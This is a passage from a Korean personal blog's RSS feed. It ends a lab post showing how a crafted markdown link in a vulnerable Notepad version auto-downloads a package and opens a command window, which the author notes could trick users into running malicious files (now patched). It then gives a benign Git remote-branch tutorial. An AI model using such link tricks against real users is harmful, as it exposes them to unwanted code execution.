this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;498&quot; height=&quot;351&quot;/&gt;&lt;/span&gt;&lt;/div&gt;
&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;마크다운 구문 말고 텍스트포맷으로 봤을때는 오른쪽 화면과 같은 내용이 담겨있습니다 !&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;이걸 결국 열면 어떻게 될까요?&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imagegridblock&quot;&gt;
  &lt;div class=&quot;image-container&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/bgnDsY/dJMcadas7Yf/lfGCNMTcvJdbV6lsnCMgFK/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/bgnDsY/dJMcadas7Yf/lfGCNMTcvJdbV6lsnCMgFK/img.png&quot; data-origin-width=&quot;638&quot; data-origin-height=&quot;407&quot; data-is-animation=&quot;false&quot; style=&quot;width: 48.6025%; margin-right: 10px;&quot; data-widthpercent=&quot;49.17&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/bgnDsY/dJMcadas7Yf/lfGCNMTcvJdbV6lsnCMgFK/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FbgnDsY%2FdJMcadas7Yf%2FlfGCNMTcvJdbV6lsnCMgFK%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;638&quot; height=&quot;407&quot;/&gt;&lt;/span&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/kAUii/dJMcajocOyy/xMblWVFanItax4yudzNut1/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/kAUii/dJMcajocOyy/xMblWVFanItax4yudzNut1/img.png&quot; data-origin-width=&quot;930&quot; data-origin-height=&quot;574&quot; data-is-animation=&quot;false&quot; style=&quot;width: 50.2347%;&quot; data-widthpercent=&quot;50.83&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/kAUii/dJMcajocOyy/xMblWVFanItax4yudzNut1/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FkAUii%2FdJMcajocOyy%2FxMblWVFanItax4yudzNut1%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;930&quot; height=&quot;574&quot;/&gt;&lt;/span&gt;&lt;/div&gt;
&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;이렇게 자동으로&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;패키지 다운로드가 뜨고 CMD창이 열리는 것을 확인하실 수 있어요!&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;결국 그래서 이 버전의 노트패드는&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;사용자가 링크를 열게끔 유도해서, 악성 파일 혹은 cmd창을 실행하게 만들 수 있겠지요?&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;아무튼 빠른 패치 작업으로 현재는 취약점을 잡은 상태이니&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;모두들 염려마시길....&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;좌충우돌 실습은 이제 끝 ~!&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;모두들 수고많으셨습니다&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;다음게시물로 또 돌아올게엽&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;736&quot; data-origin-height=&quot;552&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/ds6kRC/dJMcaf0sUJS/BWkbzXAK3kn3KNcvpHxjcK/img.jpg&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/ds6kRC/dJMcaf0sUJS/BWkbzXAK3kn3KNcvpHxjcK/img.jpg&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/ds6kRC/dJMcaf0sUJS/BWkbzXAK3kn3KNcvpHxjcK/img.jpg&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2Fds6kRC%2FdJMcaf0sUJS%2FBWkbzXAK3kn3KNcvpHxjcK%2Fimg.jpg&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;736&quot; height=&quot;552&quot; data-origin-width=&quot;736&quot; data-origin-height=&quot;552&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;</description>
      <category> ️ 보안 코스요리/ 브로콜리 취약점 스프</category>
      <author>곰젤리마스터</author>
      <guid isPermaLink="true">https://gummybearsong.tistory.com/17</guid>
      <comments>https://gummybearsong.tistory.com/17#entry17comment</comments>
      <pubDate>Thu, 9 Apr 2026 12:01:03 +0900</pubDate>
    </item>
    <item>
      <title>고급 Git 원격 저장소</title>
      <link>https://gummybearsong.tistory.com/16</link>
      <description>&lt;p data-ke-size=&quot;size16&quot;&gt;안녕하세요...&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;마지막 단계를 깨러 왔답니다?&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;blockquote data-ke-style=&quot;style2&quot;&gt;&lt;b&gt;feature 브랜치 병합하기&lt;br /&gt;&lt;/b&gt;&lt;/blockquote&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;개발자들은 주로 큰 프로젝트를 개발할 때 작업을 feature 브랜치에 하고&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;준비가 되면 그 작업들을 통합시킨다고 하네여&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;또 메인 브랜치에 있을 때만 push와 pull을 수행할 수 있다구 합니다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;=&amp;gt; 이렇게 하면 main은 항상 원격 브랜치의 상태와 항상 최신의 상태로 유지될 수 있다!!!&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;그래서 작업흐름은 두 가지로&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;feature 브랜치의 작업을 main브랜치로 통합&lt;/li&gt;
&lt;li&gt;원격 저장소에서 push하고 pull하는 작업&lt;/li&gt;
&lt;/ul&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;654&quot; data-origin-height=&quot;338&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/BTyDz/dJMcabKrX0P/uHRRk9iTzeXu2WfalUcEM0/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/BTyDz/dJMcabKrX0P/uHRRk9iTzeXu2WfalUcEM0/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/BTyDz/dJMcabKrX0P/uHRRk9iTzeXu2WfalUcEM0/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FBTyDz%2FdJMcabKrX0P%2FuHRRk9iTzeXu2WfalUcEM0%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;654&quot; height=&quot;338&quot; data-origin-width=&quot;654&quot; data-origin-height=&quot;338&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;할게 많습니다 ! 행운을 빕니다 :&amp;gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;ㄴ 그러세요 그럼 ㅉ&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;pre id=&quot;code_1774831928840&quot; class=&quot;bash&quot; data-ke-language=&quot;bash&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;git fetch
git rebase o/main side 1
git rebase side1 side2
git rebase side2 side3
git rebase side3 main
git push&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;blockquote data-ke-style=&quot;style2&quot;&gt;&lt;b&gt;원격작업과 merge하기&lt;/b&gt;&lt;/blockquote&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;새로운 작업들을 원격 저장소로 push하기 위해 원격 저장소의 최근 변경들을 합치기만 하면 됨!&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;=&amp;gt; 즉 원격 브랜치로 rebase를 할 수도 merge를 할 수도 있다는 것&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;blockquote data-ke-style=&quot;style3&quot;&gt;&lt;b&gt;rebase 장단점&lt;/b&gt;&lt;br /&gt;&lt;br /&gt;장점&lt;br /&gt;- 커밋 트리를 깔끔히 정리해서 가독성이 좋다&lt;br /&gt;- 모든 게 한 줄에 있기 때문!&lt;br /&gt;&lt;br /&gt;단점&lt;br /&gt;- 커밋 트리의 (보이는)히스토리를 수정하게 됨&lt;br /&gt;- 실제 작업이 실행됐던 순서를 정확히 알 수 없음&lt;/blockquote&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;수정 환경 이력 보존 =&amp;gt; merge&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;안 그래도 되면 =&amp;gt; rebase&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1353&quot; data-origin-height=&quot;744&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/bTwO3M/dJMb990af88/ahuav3OkvDyYxM3eZ72Nik/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/bTwO3M/dJMb990af88/ahuav3OkvDyYxM3eZ72Nik/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/bTwO3M/dJMb990af88/ahuav3OkvDyYxM3eZ72Nik/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FbTwO3M%2FdJMb990af88%2Fahuav3OkvDyYxM3eZ72Nik%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1353&quot; height=&quot;744&quot; data-origin-width=&quot;1353&quot; data-origin-height=&quot;744&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;점점 난해해지는 트리들&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1351&quot; data-origin-height=&quot;786&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/tnKrA/dJMcahKElBE/GQYOoUCpsaERmMBVfZYTHk/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/tnKrA/dJMcahKElBE/GQYOoUCpsaERmMBVfZYTHk/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/tnKrA/dJMcahKElBE/GQYOoUCpsaERmMBVfZYTHk/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FtnKrA%2FdJMcahKElBE%2FGQYOoUCpsaERmMBVfZYTHk%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1351&quot; height=&quot;786&quot; data-origin-width=&quot;1351&quot; data-origin-height=&quot;786&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;OMG 겨우겨우 완성했는데 이게 뭐죠?&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;pre id=&quot;code_1774833538492&quot; class=&quot;bash&quot; data-ke-language=&quot;bash&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;git fetch;
git checkout C2;
git merge C8;
git merge C4;
git merge C7;
git branch -f main C11;
git checkout main;
git push;&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;제 코드는 이건데 정답코드는 훨씬 짧네요&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;pre id=&quot;code_1774833618710&quot; class=&quot;bash&quot; data-ke-language=&quot;bash&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;git checkout main;
git pull;
git merge side1;
git merge side2;
git merge side3;
git push;&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;blockquote data-ke-style=&quot;style2&quot;&gt;&lt;b&gt;원격 - 추적 브랜치&lt;/b&gt;&lt;/blockquote&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;909&quot; data-origin-height=&quot;537&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/b7BnHG/dJMcai3MHMC/0TItltjwwl1hiR5J4gSGD1/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/b7BnHG/dJMcai3MHMC/0TItltjwwl1hiR5J4gSGD1/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/b7BnHG/dJMcai3MHMC/0TItltjwwl1hiR5J4gSGD1/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2Fb7BnHG%2FdJMcai3MHMC%2F0TItltjwwl1hiR5J4gSGD1%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;909&quot; height=&quot;537&quot; data-origin-width=&quot;909&quot; data-origin-height=&quot;537&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;예 뭐 그렇다네요&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;자 이제 중요한 명령어 나옵니다&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;ol style=&quot;list-style-type: decimal;&quot; data-path-to-node=&quot;12&quot; data-ke-list-type=&quot;decimal&quot;&gt;
&lt;li&gt;&lt;b data-index-in-node=&quot;0&quot; data-path-to-node=&quot;12,0,0&quot;&gt;git checkout -b totallyNotMain&lt;/b&gt;: totallyNotMain이라는 이름의 새 브랜치를 만들고 거기로 이동해!&lt;/li&gt;
&lt;li&gt;&lt;b data-index-in-node=&quot;0&quot; data-path-to-node=&quot;12,1,0&quot;&gt;o/main&lt;/b&gt;: 근데 이 브랜치는 원격의 o/main을 &lt;b data-index-in-node=&quot;30&quot; data-path-to-node=&quot;12,1,0&quot;&gt;추적(팔로우)&lt;/b&gt; 하게 설정해 줘!&lt;/li&gt;
&lt;/ol&gt;
&lt;p data-path-to-node=&quot;13&quot; data-ke-size=&quot;size16&quot;&gt;이렇게 하면 브랜치 이름은 totallyNotMain이지만, git push를 하면 원격 저장소의 main 브랜치로 작업 내용이 쏙 들어가는 마법이 일어나. ✨&lt;/p&gt;
&lt;p data-path-to-node=&quot;13&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-path-to-node=&quot;13&quot; data-ke-size=&quot;size16&quot;&gt;사실 잘 이해가 안 돼서 제미나이한테 물어보니...&lt;/p&gt;
&lt;p data-path-to-node=&quot;13&quot; data-ke-size=&quot;size16&quot;&gt;저렇게 친절히 대답해주더라구요&lt;/p&gt;
&lt;p data-path-to-node=&quot;13&quot; data-ke-size=&quot;size16&quot;&gt;ㅎㅅㅎ&lt;/p&gt;
&lt;p data-path-to-node=&quot;13&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-path-to-node=&quot;13&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;pre id=&quot;code_1774834927948&quot; class=&quot;bash&quot; data-ke-language=&quot;bash&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;git commit;
git pull --rebase;
git push;&lt;/code&gt;&lt;/pre&gt;
&lt;p data-path-to-node=&quot;13&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-path-to-node=&quot;13&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;blockquote data-ke-style=&quot;style2&quot;&gt;&lt;b&gt;Push의 인자들&lt;/b&gt;&lt;/blockquote&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;아 근데 이제 그만하고싶다&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;재미가그닥없어요&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;장난입니다~&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;이런말하면안되겠지요?&lt;br /&gt;&lt;br /&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;자 이제 push의 인지들에 대해 배워보겠습니다&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;pre id=&quot;code_1774835242194&quot; class=&quot;xml&quot; data-ke-type=&quot;codeblock&quot; data-ke-language=&quot;bash&quot;&gt;&lt;code&gt;git push &amp;lt;remote&amp;gt; &amp;lt;place&amp;gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;일단 place인자의 의미는 멀까?&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;pre id=&quot;code_1774835285607&quot; class=&quot;bash&quot; data-ke-language=&quot;bash&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;git push origin main&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;해석해보면&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;내 저장소에 있는 main 이란 이름의 브랜치로 가서 모든 커밋 수집&lt;/li&gt;
&lt;li&gt;그 다음 origin의 main 브랜치로 가서 이 브랜치에 부족한 커밋을 채워 넣고 완료 되면 알려줌&lt;/li&gt;
&lt;/ul&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;한 마디로 push할 위치를 지정하는 것이라고 생각하시면 됩니다!!&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;blockquote data-ke-style=&quot;style2&quot;&gt;&lt;b&gt;&amp;lt;place&amp;gt; 인자에 대한 세부사항들&lt;/b&gt;&lt;/blockquote&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;소스와 destination 따로 지정하여 push하기 !!&lt;/p&gt;
&lt;pre id=&quot;code_1774923789657&quot; class=&quot;bash&quot; data-ke-language=&quot;bash&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;git push origin &amp;lt;source&amp;gt;:&amp;lt;destination&amp;gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;일반적으로 이것을 colon refspec이라고 부름!&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;blockquote data-ke-style=&quot;style2&quot;&gt;&lt;b&gt;git fetch 인자들&lt;/b&gt;&lt;/blockquote&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;pre id=&quot;code_1774924969962&quot; class=&quot;bash&quot; data-ke-language=&quot;bash&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt; git fetch origin &amp;lt;place&amp;gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;커밋을 place 브랜치에서만 내려받고&amp;nbsp; 로컬의 o/foo 브랜치에만 적용&lt;/p&gt;
&lt;pre id=&quot;code_1774933375229&quot; class=&quot;bash&quot; data-ke-language=&quot;bash&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;git fetch origin &amp;lt;source&amp;gt;:&amp;lt;destination&amp;gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;blockquote data-ke-style=&quot;style2&quot;&gt;&lt;b&gt;Source가 없다?!&lt;/b&gt;&lt;/blockquote&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;Git은 source 인자를 두 가지 방법으로 이상하게(?????) 사용함!!&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;이 두 가지 오용은 git push와 git fetch에 source에 없음을 지정할 수 있기 때문에 나타남&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;인자로 아무것도 안 쓰면 됨!!!&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;pre id=&quot;code_1774934034861&quot; class=&quot;bash&quot; data-ke-language=&quot;bash&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;git push origin :side;
git fetch origin :bugFix;&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;그래서 결국 브랜치 삭제도&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;인자에 아무것도 쓰지 않는 방식으로 삭제할 수 있음 !!&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;pre id=&quot;code_1774934325655&quot; class=&quot;bash&quot; data-ke-language=&quot;bash&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;git fetch origin :bar&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;로컬에 bar 브랜치 추가&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;pre id=&quot;code_1774934362890&quot; class=&quot;bash&quot; data-ke-language=&quot;bash&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;git push origin :foo&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;가상환경의 foo 삭제&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
